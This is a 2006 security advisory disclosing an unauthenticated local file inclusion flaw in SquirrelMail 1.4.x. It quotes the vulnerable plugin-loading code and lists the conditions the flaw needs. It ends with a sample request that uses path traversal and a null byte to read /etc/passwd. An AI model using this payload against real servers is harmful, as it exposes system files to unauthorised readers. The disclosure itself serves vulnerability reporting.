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Squirrelmail-1.4.x.txt

Squirrelmail-1.4.x.txt
Posted Jun 3, 2006
Authored by Junker Broke | Site denixsolutions.com

If register_globals is on Squirrelmail 1.4.x suffers from a local file inclusion vulnerability.

tags | advisory, local, file inclusion
SHA-256 | 4329b0cabb98685d5a81ebad25ec3592fbed415d18453ada886e7f5e24e43fca

Squirrelmail-1.4.x.txt

Change Mirror Download

Squirrelmail local file inclusion bug in
functions/plugin.php .
Tested on the latest 1.4.x version.
No authentication needed.

if (isset($plugins) && is_array($plugins)) {
foreach ($plugins as $name) {
use_plugin($name);
}
...
function use_plugin ($name) {
if (file_exists(SM_PATH .
"plugins/$name/setup.php")) {
include_once(SM_PATH .
"plugins/$name/setup.php");
$function = "squirrelmail_plugin_init_$name";
if (function_exists($function)) {
$function();
}
}
}
....

If register_globals is on we can control the $name
variable.

In order to avoid errors SM_PATH needs to be defined.
Exploitation
is done through src/redirect.php ( it includes
functions/plugin.php
prior to authentication and it defines SM_PATH ).

magic_quotes_gpc needs to be off.


Example:
http://[host]/[squirrelmail
dir]/src/redirect.php?plugins[]=../../../../etc/passwd%00


Denix Solutions
Unix/Linux Solutions for your Business
http://www.denixsolutions.com


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